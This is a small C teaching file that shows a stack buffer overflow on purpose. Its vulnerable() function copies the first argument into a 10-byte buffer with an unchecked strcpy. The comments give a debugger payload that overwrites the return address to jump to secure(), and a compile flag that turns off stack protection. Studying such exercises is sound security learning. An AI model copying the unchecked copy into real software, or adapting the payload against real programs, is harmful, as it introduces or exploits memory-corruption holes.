overflowTest.c

#include <stdio.h>
#include <string.h>

// r $(python -c 'print ( ("AA"*16 + "FF"*8 + "7d05400000000000").decode("hex"))')
// gcc stackOverflowTesting.c -fno-stack-protector -g

//buffer || (stack pointer, 8bytes) || (return pointer, 8bytes)

//Address is 8 bytes, 64 bit machine

//Secure function at
//0x40057d
//0x00 00 00 00 00 40 05 7d
void secure() {
    printf("Not so secure!\n");
}

void vulnerable(char** argv) {
    char buffer[10]; //Pads to a total of 16 bytes
    strcpy(buffer, argv[1]);

}

int main(int argc, char** argv) {
    vulnerable(argv);
    1 + 1;
}